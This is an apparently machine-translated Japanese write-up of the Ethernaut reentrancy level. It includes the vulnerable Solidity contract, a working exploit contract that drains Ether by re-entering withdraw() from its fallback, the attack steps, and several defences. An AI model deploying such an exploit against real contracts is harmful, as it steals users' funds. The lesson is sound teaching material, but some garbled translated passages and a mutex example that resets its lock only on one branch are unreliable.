再突入攻撃の概要

記事の序文

Ethereumスマートコントラクトの関数は、プライベート、内部、パブリック、外部などの修飾子を使用して、コントラクトの関数の範囲を制限します(内部呼び出しまたは外部呼び出し)。導入する再入の脆弱性は、コントラクト間の相互作用に存在します。プロセスでは、実際には、未知のロジックを持つコントラクトへのEtherの送信、外部コントラクトでの関数の呼び出しなど、一般的なコントラクト間に多くの相互作用があります。上記の相互作用プロセスには問題がないようですが、潜在的なリスクポイントは外部です。コントラクト制御フローを引き継いで、コントラクト内の予期しないデータを変更し、予期しない操作を強制的に実行できるようにすることができます。

ケーススタディ

デモとしてのEthernaut画期的なゲームでの再入場ケースの例を次に示します。

エントリー要件

契約内のすべてのトークンを盗む

契約コード

pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}

契約分析

ここでは、引き出し関数に焦点を当てます。_amountパラメーターを受け取り、送信者の残高と比較し、送信者の残高を超えずにこれらの_amountを送信者に送信することがわかります。同時に、この関数がここでエーテルを送信するのはcall.valueです。送信が完了すると、以下の送信者の残高が更新されます。この関数はエーテルの送信後に残高を更新するため、これがリエントラント攻撃の鍵となります。それをcall.valueでスタックさせ、使い慣れたフォールバック関数を使用して、継続的にエーテルを送信します。

もちろん、ここにはもう1つの重要なポイントがあります。call.value関数機能です。call.value()を使用してコードを呼び出すと、実行されたコードにアカウントで使用可能なすべてのガスが与えられるため、フォールバックを行うことができます。保証されています。関数はスムーズに実行できます。これに対応して、転送関数と送信関数を使用して送信すると、コードで使用できるガスは2300になります。このガスは、1つのイベントをキャプチャするのに十分である可能性があるため、キャプチャできません。送信は元々転送の基盤となる実装であるため、2つのプロパティは類似しています。

上記の簡単な分析に基づいて、EXPコードを記述できます。

pragma solidity ^0.4.18;

contract Reentrance {
  
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to]+msg.value;
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}

contract ReentrancePoc {

    Reentrance reInstance;
    
    function getEther() public {
        msg.sender.transfer(address(this).balance);
    }
    
    function ReentrancePoc(address _addr) public{
        reInstance = Reentrance(_addr);
    }
    function callDonate() public payable{
        reInstance.donate.value(msg.value)(this);
    }

    function attack() public {
        reInstance.withdraw(1 ether);
    }

  function() public payable {
      if(address(reInstance).balance >= 1 ether){
        reInstance.withdraw(1 ether);
      }
  }
}

攻撃プロセス

[新しいインスタンスを取得]をクリックして、インスタンスを取得します。

次に、インスタンスコントラクトのアドレスを取得します

次に、攻撃契約をリミックスで展開します

撤回の最初のステップのチェックを完了するには、攻撃された契約の攻撃している契約アドレスに残高を追加する必要があります。

contract.donate.sendTransaction("0xeE59e9DC270A52477d414f0613dAfa678Def4b02",{value: toWei(1)})

このようにして、攻撃コントラクトのバランスに1つのイーサリアムを追加することに成功しました。ここでのsendTransactionは、web3標準での使用法と同じです。次に、getbalanceを使用して、コントラクトが所有するethを確認すると、それがわかります。元々、1 ethが格納されているので、攻撃コントラクトに戻り、攻撃機能を実行して攻撃を完了します。

残高、取引前後の変更を確認します。

最後に、[インスタンスの送信]をクリックして、例を送信します。

防御策

1.可能であれば、外部アドレスにイーサリアムを送信するときに、solidityの組み込みのtransfer()関数を使用します。Transfer()は、送金時に2300ガスのみを送信します。これは、別の契約を呼び出す(つまり、送信契約を再入力する)には不十分です。 transfer()元の契約のwithdrawFunds()を次のように書き直します。


function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
        msg.sender.transfer(_amount);
        balances[msg.sender] -= _amount;
    }
  }

2.エーテルが送信される前(または外部呼び出し)に状態変数の変更が発生することを確認します。つまり、Solidityが公式に推奨するcheck-effects-interactionsモード(checks-effects-interactions)です。


function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {//检查
       balances[msg.sender] -= _amount;//生效
       msg.sender.transfer(_amount);//交互
    }
 }

3.ミューテックスロックを使用する:コード実行中にコントラクトをロックする状態変数を追加して、再入可能な呼び出しを防止します

bool reEntrancyMutex = false;
function withdraw(uint _amount) public {
    require(!reEntrancyMutex);
    reEntrancyMutex = true;
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
      reEntrancyMutex = false;
    }
 }

4.OpenZeppelin公式ライブラリ

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor () {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and make it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

この記事は、WeChatの求人アカウント「SevenPointed StarLaboratory」で最初に公開されました。よりエキサイティングなコンテンツを入手するために注意を払うことを歓迎します。

 

 

おすすめ

転載: blog.csdn.net/Fly_hps/article/details/114901036